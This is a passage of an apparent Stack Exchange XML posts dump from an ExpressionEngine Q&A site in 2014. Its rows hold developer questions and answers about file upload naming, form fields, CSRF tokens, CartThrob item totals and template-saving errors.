LastActivityDate="2014-04-16T17:45:38.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21242" PostTypeId="1" CreationDate="2014-04-16T19:23:56.593" Score="1" ViewCount="443" Body="&lt;p&gt;I think I’ve found a possible bug when uploading files via a template form (both channel and Freeform Pro forms).  When a file is uploaded with the same name as an existing file a number is appended to the end of the file name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is now a particular problem on one specific site where photos are added from iPhones which always uses the filename image.jpg.  There seems to be a limit to the number of duplicates as it was working fine, but now the error message “A problem was encountered while attempting to move the uploaded file to the final destination” is displayed.  Looking at the file table in the database there’s now lots of versions of image.jpg with numbers appended (&lt;a href=&quot;https://www.dropbox.com/s/rcjj55qo676qnjt/Screen%20Shot%202014-04-13%20at%2021.04.32.png&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/rcjj55qo676qnjt/Screen%20Shot%202014-04-13%20at%2021.04.32.png&lt;/a&gt;), so I guess the limit of the filename length has been reached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else encountered this issue?  Is there a workaround for it, maybe by being able to specify a filename with a timestamp or something?&lt;/p&gt;&#xA;" OwnerUserId="2982" LastActivityDate="2015-05-14T23:33:17.280" Title="File Upload Filename Issues" Tags="|solspace-freeform|file-uploads|channel-form|file-manager|bug|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21243" PostTypeId="1" CreationDate="2014-04-16T20:26:43.663" Score="1" ViewCount="60" Body="&lt;p&gt;I am new to expressionengine,&#xA;I created a module that just print a form on a page&#xA;my method is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;if( isset($_POST['submit']) ){&#xA;            foreach($_POST as $key =&gt; $value){&#xA;                 $data[$key] = $this-&gt;EE-&gt;input-&gt;post($key);&#xA;            }&#xA;            print_r($data);&#xA;        }&#xA;        // Find the entry_id of the auction to add the form for&#xA;        if (ee()-&gt;TMPL-&gt;fetch_param('entry_id'))&#xA;        {&#xA;            $entry_id = ee()-&gt;TMPL-&gt;fetch_param('entry_id');&#xA;        }&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Build an array to hold the form's hidden fields&#xA;    $hidden_fields = array(&#xA;        &quot;entry_id&quot; =&amp;gt; $entry_id,&#xA;    );&#xA;&#xA;    // Build an array with the form data&#xA;    $form_data = array(&#xA;        &quot;id&quot;            =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;form_id,&#xA;        &quot;class&quot;         =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;form_class,&#xA;        &quot;hidden_fields&quot; =&amp;gt; $hidden_fields,&#xA;        'action'        =&amp;gt; &quot;&quot;,&#xA;    );&#xA;    // Fetch contents of the tag pair, ie, the form contents&#xA;    $tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;&#xA;    $form = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;form_declaration($form_data) .&#xA;    $tagdata . &quot;&amp;lt;/form&amp;gt;&quot;;&#xA;&#xA;    return $form;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;above mentioned method returning form but with empty entry_id.&#xA;How can i get the entry_id and how can I remove the form action?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="2983" LastEditorUserId="2983" LastEditDate="2014-04-16T20:32:25.027" LastActivityDate="2014-04-16T20:32:25.027" Title="not getting the entry_id" Tags="|add-on|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21246" PostTypeId="1" AcceptedAnswerId="21298" CreationDate="2014-04-16T20:47:46.650" Score="0" ViewCount="561" Body="&lt;p&gt;Based on EE &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/email/contact_form.html#required&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; to have multiple required fields I need to make the name= attribute an array by using &quot;required[]&quot; but when I do that those fields still are not required (no errors returned).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Form code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:email:contact_form user_recipients=&quot;no&quot; recipients=&quot;myemail@domain.com&quot; charset=&quot;utf-8&quot;}&#xA;        &amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;            &amp;lt;fieldset id=&quot;contact_details&quot;&amp;gt;&#xA;            &amp;lt;table class=&quot;table table-hover&quot;&amp;gt;&#xA;            &amp;lt;tbody&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;                &#xA;            &amp;lt;label class=&quot;col-md-3 control-label&quot; for=&quot;company&quot;&amp;gt;Company Name &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt; &#xA;            &amp;lt;div class=&quot;col-md-9&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; class=&quot;input-text required-entry&quot; value=&quot;&quot; title=&quot;Company Name&quot; id=&quot;company&quot; name=&quot;required[]&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;                &#xA;            &amp;lt;label class=&quot;col-md-3 control-label&quot; for=&quot;fname&quot;&amp;gt;First Name &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt; &#xA;            &amp;lt;div class=&quot;col-md-9&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; class=&quot;input-text required-entry&quot; value=&quot;&quot; title=&quot;First Name&quot; id=&quot;fname&quot; name=&quot;required[]&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;                &#xA;            &amp;lt;label class=&quot;col-md-3 control-label&quot; for=&quot;name&quot;&amp;gt;Last Name &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt; &#xA;            &amp;lt;div class=&quot;col-md-9&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; class=&quot;input-text required-entry&quot; value=&quot;&quot; title=&quot;Last Name&quot; id=&quot;name&quot; name=&quot;required[]&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;col-md-3 control-label&quot; for=&quot;address1&quot;&amp;gt;Address &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt; &#xA;            &amp;lt;div class=&quot;col-md-9&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; class=&quot;input-text required-entry&quot; value=&quot;&quot; title=&quot;Address&quot; id=&quot;address1&quot; name=&quot;required[]&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;col-md-3 control-label&quot; for=&quot;address2&quot;&amp;gt;Address 2&amp;lt;/label&amp;gt; &#xA;            &amp;lt;div class=&quot;col-md-9&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; class=&quot;input-text&quot; value=&quot;&quot; title=&quot;Address 2&quot; id=&quot;address2&quot; name=&quot;address2&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;col-md-3 control-label&quot; for=&quot;city&quot;&amp;gt;City &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;col-md-9&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; class=&quot;input-text required-entry&quot; value=&quot;&quot; title=&quot;City&quot; id=&quot;city&quot; name=&quot;required[]&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;col-md-3 control-label&quot; for=&quot;state&quot;&amp;gt;State/Province &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt; &#xA;            &amp;lt;div class=&quot;col-md-9&quot;&amp;gt;                &#xA;                            &amp;lt;select class=&quot;required-entry&quot; id=&quot;state&quot; name=&quot;required[]&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;&quot;&amp;gt;State/Province&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;AL&quot;&amp;gt;Alabama&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;AK&quot;&amp;gt;Alaska&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;AZ&quot;&amp;gt;Arizona&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;AR&quot;&amp;gt;Arkansas&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;CA&quot;&amp;gt;California&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;CO&quot;&amp;gt;Colorado&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;CT&quot;&amp;gt;Connecticut&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;DC&quot;&amp;gt;District of Columbia&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;DE&quot;&amp;gt;Delaware&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;FL&quot;&amp;gt;Florida&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;GA&quot;&amp;gt;Georgia&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;HI&quot;&amp;gt;Hawaii&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;ID&quot;&amp;gt;Idaho&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;IL&quot;&amp;gt;Illinois&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;IN&quot;&amp;gt;Indiana&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;IA&quot;&amp;gt;Iowa&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;KS&quot;&amp;gt;Kansas&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;KY&quot;&amp;gt;Kentucky&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;LA&quot;&amp;gt;Louisiana&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;ME&quot;&amp;gt;Maine&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;MD&quot;&amp;gt;Maryland&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;MA&quot;&amp;gt;Massachusetts&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;MI&quot;&amp;gt;Michigan&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;MN&quot;&amp;gt;Minnesota&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;MS&quot;&amp;gt;Mississippi&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;MO&quot;&amp;gt;Missouri&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;MT&quot;&amp;gt;Montana&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;NE&quot;&amp;gt;Nebraska&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;NV&quot;&amp;gt;Nevada&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;NH&quot;&amp;gt;New Hampshire&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;NJ&quot;&amp;gt;New Jersey&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;NM&quot;&amp;gt;New Mexico&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;NY&quot;&amp;gt;New York&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;NC&quot;&amp;gt;North Carolina&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;ND&quot;&amp;gt;North Dakota&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;OH&quot;&amp;gt;Ohio&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;OK&quot;&amp;gt;Oklahoma&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;OR&quot;&amp;gt;Oregon&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;PA&quot;&amp;gt;Pennsylvania&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;RI&quot;&amp;gt;Rhode Island&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;SC&quot;&amp;gt;South Carolina&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;SD&quot;&amp;gt;South Dakota&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;TN&quot;&amp;gt;Tennessee&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;TX&quot;&amp;gt;Texas&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;UT&quot;&amp;gt;Utah&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;VT&quot;&amp;gt;Vermont&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;VA&quot;&amp;gt;Virginia&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;WA&quot;&amp;gt;Washington&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;WV&quot;&amp;gt;West Virginia&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;WI&quot;&amp;gt;Wisconsin&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;WY&quot;&amp;gt;Wyoming&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;/select&amp;gt;&#xA;                   &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;col-md-3 control-label&quot; for=&quot;zip&quot;&amp;gt;Postal Code &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;col-md-9&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; class=&quot;input-text required-entry&quot; value=&quot;&quot; title=&quot;Postal Code&quot; id=&quot;zip&quot; name=&quot;required[]&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;                &#xA;        &amp;lt;/tbody&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;        &amp;lt;fieldset id=&quot;contact_details&quot;&amp;gt;&#xA;        &amp;lt;table class=&quot;table table-hover&quot;&amp;gt;&#xA;        &amp;lt;tbody&amp;gt;            &#xA;            &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;col-md-3 control-label&quot; for=&quot;telephone&quot;&amp;gt;Telephone &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;col-md-9&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; class=&quot;input-text required-entry&quot; value=&quot;&quot; title=&quot;Telephone&quot; id=&quot;telephone&quot; name=&quot;required[]&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;    &#xA;            &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;col-md-3 control-label&quot; for=&quot;telephone2&quot;&amp;gt;Telephone (Alternative)&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;col-md-9&quot;&amp;gt; &amp;lt;input type=&quot;text&quot; class=&quot;input-text&quot; value=&quot;&quot; title=&quot;Telephone Alternative&quot; id=&quot;telephone2&quot; name=&quot;telephone2&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;    &#xA;            &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;col-md-3 control-label&quot; for=&quot;from&quot;&amp;gt;Email &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;col-md-9&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; class=&quot;input-text required-entry validate-email&quot; value=&quot;&quot; title=&quot;from&quot; id=&quot;from&quot; name=&quot;from&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;    &#xA;            &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;col-md-3 control-label&quot; for=&quot;message&quot;&amp;gt;ADD A NOTE &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;col-md-9&quot;&amp;gt;&amp;lt;textarea rows=&quot;3&quot; cols=&quot;5&quot; style=&quot;height:150px;&quot; class=&quot;input-text&quot; title=&quot;Message&quot; id=&quot;message&quot; name=&quot;message&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;    &#xA;        &amp;lt;/tbody&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; style=&quot;margin-right:7px;&quot; class=&quot;btn btn-block btn-plain pull-right&quot; value=&quot;Submit&quot; name=&quot;submit&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/exp:email:contact_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any clue what is going on? Or maybe I should to use off the shelf extension like Solspace Freeforms?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-04-16T20:55:02.577" LastActivityDate="2014-04-20T12:55:39.597" Title="Email Contact Form and multiple required fields" Tags="|forms|email-contact-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21247" PostTypeId="2" ParentId="8815" CreationDate="2014-04-16T20:50:41.370" Score="3" Body="&lt;p&gt;It seems this problem can now be fixed by updating to the latest version of Matrix (2.5.10) per the change log found here: &lt;a href=&quot;http://docs.pixelandtonic.com/matrix/changelog.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/matrix/changelog.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Matrix 2.5.10&lt;/strong&gt;&lt;br&gt;Released on November 4th, 2013&lt;br&gt;Fixed a PHP error that&#xA;  would prevent File cells from saving properly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I havn't confirmed this yet, but it's in the change log. I'll be going down this path tomorrow, so I'll post my findings once I confirm that this does indeed fix the problem.&lt;/p&gt;&#xA;" OwnerUserId="2984" LastActivityDate="2014-04-16T20:50:41.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21248" PostTypeId="1" AcceptedAnswerId="21259" CreationDate="2014-04-16T22:15:22.990" Score="0" ViewCount="61" Body="&lt;p&gt;When I use the tell-a-friend-form the form is autogenerated by the tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:email:tell_a_friend ...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the name of the sender has to be &quot;from&quot;, the name of the recipient has to be &quot;to&quot;. Simplified example for the form generated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;http://www.xyz.com&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;email&quot; name=&quot;from&quot;&amp;gt;&#xA;...&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now it's important for me to change the names, because the Bootstrap-Validator astonishingly seems not to accept the same element-name twice on one page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible or does anybody know a workaround?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="780" LastActivityDate="2014-04-17T17:15:09.610" Title="Change name-attributes in Tell-a-friend-form?" Tags="|forms|tell-a-friend|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21249" PostTypeId="2" ParentId="21232" CreationDate="2014-04-17T01:01:01.860" Score="4" Body="&lt;p&gt;ExpressionEngine has a protection against Cross-site Request Forgery - CSRF and a documentation available &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#cross-site-request-forgery&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. You just have to add that line to your form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{csrf_token}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And send the data in your AJAX request. I had the same problem today and that fixed it for me.&lt;/p&gt;&#xA;" OwnerUserId="2918" LastActivityDate="2014-04-17T01:01:01.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21252" PostTypeId="1" AcceptedAnswerId="21294" CreationDate="2014-04-17T12:23:27.997" Score="0" ViewCount="127" Body="&lt;p&gt;I am looking for a way to output the total amount of products purchased, similiar to {exp:cartthrob:total_items_count} for the cart only that I want to pull it from the &quot;orders&quot; channel (to be used in the order confirmation email).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Articles ordered: {order_items:total_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which outputs how many &lt;em&gt;different&lt;/em&gt; articles were purchased but not the &lt;strong&gt;totals&lt;/strong&gt;. Like if a customer bought:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 x Product A&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 x Product B&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the above tag would output &quot;2&quot;. I am now looking for a way to also output &quot;5&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried all different kind of tag combinations and fiddled around with CT arithemtic also but can't get it straight. Maybe this is only possible with an sql query, but since I am not good with those I am first asking here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Cheers&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2014-04-20T10:00:58.087" Title="Total for {item:quantity} in CartThrob" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21253" PostTypeId="1" CreationDate="2014-04-17T13:24:32.397" Score="2" ViewCount="1484" Body="&lt;p&gt;&lt;strong&gt;THE PROBLEM:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When editing a template file via the control panel, saving it with &quot;save template as text file&quot; ticked gives the error: &lt;strong&gt;&lt;em&gt;&quot;Unable to save your template as a text file&quot;&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;The template is updated in the database, but not saved out to a file&lt;/li&gt;&#xA;&lt;li&gt;Although the template is saved to the DB it does not reflect any changes on the actual site&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SERVER CONFIGURATION:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Design --&gt; Templates --&gt; Global Preferences&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Save Templates as Files: Yes&lt;/li&gt;&#xA;&lt;li&gt;Server path to site's templates: &lt;code&gt;/var/www/vhosts/serverxxx-xxx-xx-xxx.live-servers.net/hbr-new-website/system/expressionengine/templates&lt;/code&gt; (I have tried this with/without trailing slash)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Permissions&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;/system/expressionengine/templates&lt;/code&gt; &lt;em&gt;and all subfolders and files&lt;/em&gt; set as 777&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP settings&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Safe mode: off&lt;/li&gt;&#xA;&lt;li&gt;open_basedir: &lt;code&gt;/var/www/vhosts/serverxxx-xxx-xx-xxx.live-servers.net/hbr-new-website/:/tmp/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;$_SERVER[&quot;DOCUMENT_ROOT&quot;]: &lt;code&gt;/var/www/vhosts/serverxxx-xxx-xx-xxx.live-servers.net/hbr-new-website&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I'm absolutely stumped :-(&lt;/p&gt;&#xA;" OwnerUserId="742" LastActivityDate="2015-09-11T14:39:22.570" Title="EE will not save templates as text files... No matter what" Tags="|templates|server|permissions|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21254" PostTypeId="1" AcceptedAnswerId="21256" CreationDate="2014-04-17T15:38:51.147" Score="2" ViewCount="342" Body="&lt;p&gt;Since i'm not getting any response in the official support forum for FIELD EDITOR I decided to repeat the question over here in the hope someone out there knows how to solve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since i started development on a ee 2.8.1 system i’m getting a &quot;Unable to load the requested class: services_json&quot; error when i try to save changes to my custom field group using FIELD EDITOR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googling the error helped me find a similar error in the Zoo Flex Admin add-on but the solutions posted there didn't help me fix this issue.&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/support/zoo-flexible-admin/viewthread/12713&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/zoo-flexible-admin/viewthread/12713&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any clue how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greets,&#xA;Bas&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2014-04-17T15:46:50.143" Title="Field Editor: Unable to load the requested class: services_json" Tags="|field-editor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
